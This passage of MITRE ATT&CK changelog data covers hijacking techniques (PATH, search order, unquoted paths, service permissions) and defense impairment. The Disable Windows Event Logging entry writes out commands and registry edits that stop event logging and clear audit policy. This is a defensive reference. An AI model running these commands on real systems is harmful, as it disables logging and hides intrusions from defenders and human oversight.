"description": "Saini, A. and Hossein, J. (2022, January 27). North Korea\u2019s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.",
"url": "https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.0",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:11.077000+00:00\", \"old_value\": \"2025-04-15 22:43:44.231000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\\n\\nMonitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious behaviors that could relate to post-compromise behavior.\\n-\\n-Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances. for known bad sequence of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as WriteProcessMemory() and NtQueryInformationProcess() with the parameter set to ProcessBasicInformation may be used for this technique.(Citation: Lazarus APT January 2022)\"}}}",
"previous_version": "1.0",
"changelog_mitigations": {
"shared": [
"M1040: Behavior Prevention on Endpoint"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (OS API Execution)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0577: Detection Strategy for Hijack Execution Flow through the KernelCallbackTable on Windows."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 14:10:43.424000+00:00",
"modified": "2025-10-24 17:48:22.736000+00:00",
"name": "Path Interception by PATH Environment Variable",
"description": "Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line. \n\nAdversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.\n\nFor example, on Windows if an adversary places a malicious program named \"net.exe\" in `C:\\example path`, which by default precedes `C:\\Windows\\system32\\net.exe` in the PATH environment variable, when \"net\" is executed from the command-line the `C:\\example path` will be called instead of the system's legitimate executable at `C:\\Windows\\system32\\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)\n\nAdversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022)",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/007",
"external_id": "T1574.007"
},
{
"source_name": "Elastic Rules macOS launchctl 2022",
"description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
"url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
},
{
"source_name": "ExpressVPN PATH env Windows 2021",
"description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
"url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
},
{
"source_name": "uptycs Fake POC linux malware 2023",
"description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
"url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
},
{
"source_name": "nixCraft macOS PATH variables",
"description": "Vivek Gite. (2023, August 22). MacOS \u2013 Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
"url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"macOS",
"Linux"
],
"x_mitre_version": "1.2",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:22.736000+00:00\", \"old_value\": \"2025-04-15 19:58:05.096000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n\\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n-\\n-Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "1.2",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1038: Execution Prevention",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0022: File (File Creation)",
"DS0024: Windows Registry (Windows Registry Key Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0004: Detection Strategy for Hijack Execution Flow using Path Interception by PATH Environment Variable."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--58af3705-8740-4c68-9329-ec015a7013c2",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 17:48:58.999000+00:00",
"modified": "2025-10-24 17:48:49.665000+00:00",
"name": "Path Interception by Search Order Hijacking",
"description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load other programs. Because some programs do not call other programs using the full path, adversaries may place their own file in the directory where the calling program is located, causing the operating system to launch their malicious software at the request of the calling program.\n\nSearch order hijacking occurs when an adversary abuses the order in which Windows searches for programs that are not given a path. Unlike [DLL](https://attack.mitre.org/techniques/T1574/001) search order hijacking, the search order differs depending on the method that is used to execute the program. (Citation: Microsoft CreateProcess) (Citation: Windows NT Command Shell) (Citation: Microsoft WinExec) However, it is common for Windows to search in the directory of the initiating program before searching through the Windows system directory. An adversary who finds a program vulnerable to search order hijacking (i.e., a program that does not specify the path to an executable) may take advantage of this vulnerability by creating a program named after the improperly specified program and placing it within the initiating program's directory.\n\nFor example, \"example.exe\" runs \"cmd.exe\" with the command-line argument net user. An adversary may place a program called \"net.exe\" within the same directory as example.exe, \"net.exe\" will be run instead of the Windows system utility net. In addition, if an adversary places a program called \"net.com\" in the same directory as \"net.exe\", then cmd.exe /C net user will execute \"net.com\" instead of \"net.exe\" due to the order of executable extensions defined under PATHEXT. (Citation: Microsoft Environment Property)\n\nSearch order hijacking is also a common practice for hijacking DLL loads and is covered in [DLL](https://attack.mitre.org/techniques/T1574/001).",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/008",
"external_id": "T1574.008"
},
{
"source_name": "Microsoft Environment Property",
"description": "Microsoft. (2011, October 24). Environment Property. Retrieved July 27, 2016.",
"url": "https://docs.microsoft.com/en-us/previous-versions//fd7hxfdd(v=vs.85)?redirectedfrom=MSDN"
},
{
"source_name": "Microsoft CreateProcess",
"description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
},
{
"source_name": "Microsoft WinExec",
"description": "Microsoft. (n.d.). WinExec function. Retrieved September 12, 2024.",
"url": "https://learn.microsoft.com/en-us/windows/win32/api/winbase/nf-winbase-winexec"
},
{
"source_name": "Windows NT Command Shell",
"description": "Tim Hill. (2014, February 2). The Windows NT Command Shell. Retrieved December 5, 2014.",
"url": "https://docs.microsoft.com/en-us/previous-versions//cc723564(v=technet.10)?redirectedfrom=MSDN#XSLTsection127121120120"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"File: File Modification\", \"File: File Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:49.665000+00:00\", \"old_value\": \"2025-04-15 19:58:33.873000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n\\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n-\\n-Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1038: Execution Prevention",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0564: Detection Strategy for Hijack Execution Flow using Path Interception by Search Order Hijacking"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-13 13:51:58.519000+00:00",
"modified": "2025-10-24 17:49:19.228000+00:00",
"name": "Path Interception by Unquoted Path",
"description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe vs. \"C:\\safe path with space\\program.exe\"). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe, an adversary may create a program at C:\\program.exe that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/009",
"external_id": "T1574.009"
},
{
"source_name": "Windows Privilege Escalation Guide",
"description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018.",
"url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/"
},
{
"source_name": "Windows Unquoted Services",
"description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018.",
"url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/"
},
{
"source_name": "Help eliminate unquoted path",
"description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012.",
"url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464"
},
{
"source_name": "Microsoft CurrentControlSet Services",
"description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020.",
"url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:19.228000+00:00\", \"old_value\": \"2025-04-15 22:56:46.356000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n\\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \\\"findstr,\\\" \\\"net,\\\" and \\\"python\\\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\\n-\\n-Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1022: Restrict File and Directory Permissions",
"M1038: Execution Prevention",
"M1047: Audit"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0064: Detection Strategy for Hijack Execution Flow through Path Interception by Unquoted Path"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--9e8b28c9-35fe-48ac-a14d-e6cc032dcbcd",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-03-12 20:43:53.998000+00:00",
"modified": "2025-10-24 17:49:09.575000+00:00",
"name": "Services File Permissions Weakness",
"description": "Adversaries may execute their own malicious payloads by hijacking the binaries used by services. Adversaries may use flaws in the permissions of Windows services to replace the binary that is executed upon service start. These service processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/010",
"external_id": "T1574.010"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Travis Smith, Tripwire",
"Stefan Kanthak"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": true,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows"
],
"x_mitre_version": "1.1",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"File: File Creation\", \"Process: Process Creation\", \"Service: Service Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:09.575000+00:00\", \"old_value\": \"2025-04-25 14:47:32.419000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n\\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\\n-\\n-Look for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques. \"}}}",
"previous_version": "1.1",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1047: Audit",
"M1052: User Account Control"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0009: Process (Process Creation)",
"DS0019: Service (Service Metadata)",
"DS0022: File (File Creation)",
"DS0022: File (File Modification)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0436: Detection Strategy for Hijack Execution Flow through Services File Permissions Weakness."
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 20:22:13.470000+00:00",
"modified": "2025-10-24 17:48:41.123000+00:00",
"name": "Impair Defenses",
"description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n",
"kill_chain_phases": [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
],
"revoked": false,
"external_references": [
{
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1562",
"external_id": "T1562"
},
{
"source_name": "Google Cloud Mandiant UNC3886 2024",
"description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.",
"url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations"
},
{
"source_name": "Emotet shutdown",
"description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.",
"url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/"
}
],
"object_marking_refs": [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
],
"x_mitre_attack_spec_version": "3.2.0",
"x_mitre_contributors": [
"Jamie Williams (U \u03c9 U), PANW Unit 42",
"Liran Ravich, CardinalOps"
],
"x_mitre_deprecated": false,
"x_mitre_detection": "",
"x_mitre_domains": [
"enterprise-attack"
],
"x_mitre_is_subtechnique": false,
"x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"x_mitre_platforms": [
"Windows",
"IaaS",
"Linux",
"macOS",
"Containers",
"Network Devices",
"Identity Provider",
"Office Suite",
"ESXi"
],
"x_mitre_version": "1.7",
"detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"File: File Modification\", \"Cloud Service: Cloud Service Disable\", \"Firewall: Firewall Rule Modification\", \"Command: Command Execution\", \"Script: Script Execution\", \"Process: Process Modification\", \"Windows Registry: Windows Registry Key Deletion\", \"Process: Process Termination\", \"Service: Service Metadata\", \"Process: Process Metadata\", \"Cloud Service: Cloud Service Modification\", \"User Account: User Account Modification\", \"File: File Deletion\", \"Sensor Health: Host Status\", \"Process: OS API Execution\", \"Process: Process Creation\", \"Windows Registry: Windows Registry Key Modification\", \"Driver: Driver Load\", \"Firewall: Firewall Disable\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:41.123000+00:00\", \"old_value\": \"2025-04-15 19:58:24.596000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n\\nMonitor environment variables and APIs that can be leveraged to disable security measures.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n-\\n-Monitor environment variables and APIs that can be leveraged to disable security measures.\"}}}",
"previous_version": "1.7",
"changelog_mitigations": {
"shared": [
"M1018: User Account Management",
"M1022: Restrict File and Directory Permissions",
"M1024: Restrict Registry Permissions",
"M1038: Execution Prevention",
"M1042: Disable or Remove Feature or Program",
"M1047: Audit",
"M1054: Software Configuration"
],
"new": [],
"dropped": []
},
"changelog_datacomponent_detections": {
"shared": [],
"new": [],
"dropped": [
"DS0002: User Account (User Account Modification)",
"DS0009: Process (OS API Execution)",
"DS0009: Process (Process Creation)",
"DS0009: Process (Process Metadata)",
"DS0009: Process (Process Modification)",
"DS0009: Process (Process Termination)",
"DS0012: Script (Script Execution)",
"DS0013: Sensor Health (Host Status)",
"DS0017: Command (Command Execution)",
"DS0018: Firewall (Firewall Disable)",
"DS0018: Firewall (Firewall Rule Modification)",
"DS0019: Service (Service Metadata)",
"DS0022: File (File Deletion)",
"DS0022: File (File Modification)",
"DS0024: Windows Registry (Windows Registry Key Deletion)",
"DS0024: Windows Registry (Windows Registry Key Modification)",
"DS0025: Cloud Service (Cloud Service Disable)",
"DS0025: Cloud Service (Cloud Service Modification)",
"DS0027: Driver (Driver Load)"
]
},
"changelog_detectionstrategy_detections": {
"shared": [],
"new": [
"DET0317: Detection Strategy for Impair Defenses Across Platforms"
],
"dropped": []
}
},
{
"type": "attack-pattern",
"id": "attack-pattern--4eb28bed-d11a-4641-9863-c2ac017d910a",
"created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
"created": "2020-02-21 20:46:36.688000+00:00",
"modified": "2025-10-24 17:48:45.425000+00:00",
"name": "Disable Windows Event Logging",
"description": "Adversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security Settings\\Local Policies\\Audit Policy for basic audit policy settings or Security Settings\\Advanced Audit Policy Configuration for advanced audit policy settings.(Citation: Audit_Policy_Microsoft)(Citation: Advanced_sec_audit_policy_settings) auditpol.exe may also be used to set audit policies.(Citation: auditpol)\n\nAdversaries may target system-wide logging or just that of a particular application. For example, the Windows EventLog service may be disabled using the Set-Service -Name EventLog -Status Stopped or sc config eventlog start=disabled commands (followed by manually stopping the service using Stop-Service -Name EventLog).(Citation: Disable_Win_Event_Logging)(Citation: disable_win_evt_logging) Additionally, the service may be disabled by modifying the \u201cStart\u201d value in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Services\\EventLog then restarting the system for the change to take effect.(Citation: disable_win_evt_logging)\n\nThere are several ways to disable the EventLog service via registry key modification. First, without Administrator privileges, adversaries may modify the \"Start\" value in the key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Security, then reboot the system to disable the Security EventLog.(Citation: winser19_file_overwrite_bug_twitter) Second, with Administrator privilege, adversaries may modify the same values in HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-System and HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\WMI\\Autologger\\EventLog-Application to disable the entire EventLog.(Citation: disable_win_evt_logging)\n\nAdditionally, adversaries may use auditpol and its sub-commands in a command prompt to disable auditing or clear the audit policy. To enable or disable a specified setting or audit category, adversaries may use the /success or /failure parameters. For example, auditpol /set /category:\u201dAccount Logon\u201d /success:disable /failure:disable turns off auditing for the Account Logon category.(Citation: auditpol.exe_STRONTIC)(Citation: 